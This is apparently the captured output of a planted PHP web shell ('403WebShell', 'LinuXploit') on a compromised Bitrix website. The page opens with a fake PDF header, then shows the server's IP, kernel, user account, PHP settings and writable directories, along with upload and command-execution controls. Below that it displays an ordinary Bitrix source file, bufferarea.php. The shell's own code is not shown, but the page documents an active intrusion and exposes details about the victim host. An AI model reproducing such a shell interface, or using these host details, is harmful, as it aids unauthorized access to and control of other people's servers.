%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.224.69.83
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/lib/composite/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/lib/composite/bufferarea.php
<?
namespace Bitrix\Main\Composite;

use Bitrix\Main\NotSupportedException;

class BufferArea extends StaticArea
{
	private $staticPart = null;
	private $dynamicPart = null;
	private $started = false;
	private $ended = false;

	/**
	 * @param $id
	 * @param bool $autoContainer
	 */
	public function __construct($id, $autoContainer = true)
	{
		parent::__construct($id);
		if (!$autoContainer)
		{
			$this->setContainerId($id);
		}
	}

	/**
	 * Starts an dynamic frame.
	 * Returns self object instance.
	 *
	 * @see BufferArea
	 * @see BufferArea::end
	 *
	 * @param null|string $stub
	 * @return BufferArea
	 * @throws NotSupportedException
	 */
	public function begin($stub = null)
	{
		if ($this->started)
		{
			throw new NotSupportedException("begin() has been called. Frame id: ".$this->getId().".");
		}

		$this->startDynamicArea();

		$this->started = true;
		$this->staticPart = $stub;
		ob_start();
		return $this;
	}

	/**
	 * Starts static part of dynamic frame which will be shown to user.
	 * Method begin() must be called before.
	 * Returns self object instance.
	 *
	 * @see BufferArea
	 * @see BufferArea::begin
	 *
	 * @return BufferArea
	 * @throws NotSupportedException
	 */
	public function beginStub()
	{
		if (!$this->started)
		{
			throw new NotSupportedException("begin() has not been called. Frame id: ".$this->getId().".");
		}

		$this->dynamicPart = ob_get_contents();
		ob_end_clean();
		ob_start();
		return $this;
	}

	/**
	 * Ends dynamic part of the content.
	 * Method begin() must be called before.
	 * Returns self object instance.
	 *
	 * @see BufferArea
	 * @see BufferArea::begin
	 *
	 * @return BufferArea
	 * @throws NotSupportedException
	 */
	public function end()
	{
		if (!$this->started)
		{
			throw new NotSupportedException("begin() has not been called. Frame id: ".$this->getId().".");
		}

		if ($this->ended)
		{
			throw new NotSupportedException("begin() has been called. Frame id: ".$this->getId().".");
		}

		//if beginStub() was called
		if ($this->dynamicPart !== null)
		{
			if ($this->staticPart !== null)
			{
				throw new NotSupportedException("begin() was called with a stub. Frame id: ".$this->getId().".");
			}

			$this->staticPart = ob_get_contents();
			ob_end_clean();
			echo $this->dynamicPart;
		}
		else
		{
			$this->dynamicPart = ob_get_contents();
			if ($this->staticPart === null)
			{
				$this->staticPart = $this->dynamicPart;
			}
			ob_end_flush();
		}

		$this->setStub($this->staticPart);
		$this->finishDynamicArea();

		$this->ended = true;
		return $this;
	}

	/**
	 * Returns true if Frame was started.
	 *
	 * @return bool
	 */
	public function isStarted()
	{
		return $this->started;
	}

	/**
	 * Returns true if Frame was ended.
	 *
	 * @return bool
	 */
	public function isEnded()
	{
		return $this->ended;
	}
}

class_alias("Bitrix\\Main\\Composite\\BufferArea", "Bitrix\\Main\\Page\\FrameBuffered");
class_alias("Bitrix\\Main\\Composite\\BufferArea", "Bitrix\\Main\\Page\\FrameHelper");

Youez - 2016 - github.com/yon3zu
LinuXploit